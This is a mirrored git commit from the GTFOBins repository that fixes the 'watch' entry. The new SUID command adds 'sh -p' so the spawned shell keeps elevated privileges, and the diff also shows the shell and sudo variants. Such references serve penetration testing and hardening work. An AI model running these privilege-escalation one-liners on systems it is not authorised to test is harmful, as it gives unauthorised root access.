1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Fix watch SUID

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
OreoByte 2022-07-01 11:39:32 -07:00 committed by GitHub
parent 0df54898d8
commit a724262b74
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -4,7 +4,7 @@ functions:
- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
suid:
- description: This keeps the SUID privileges only if the `-x` option is present.
code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
code: ./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'
sudo:
- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
limited-suid: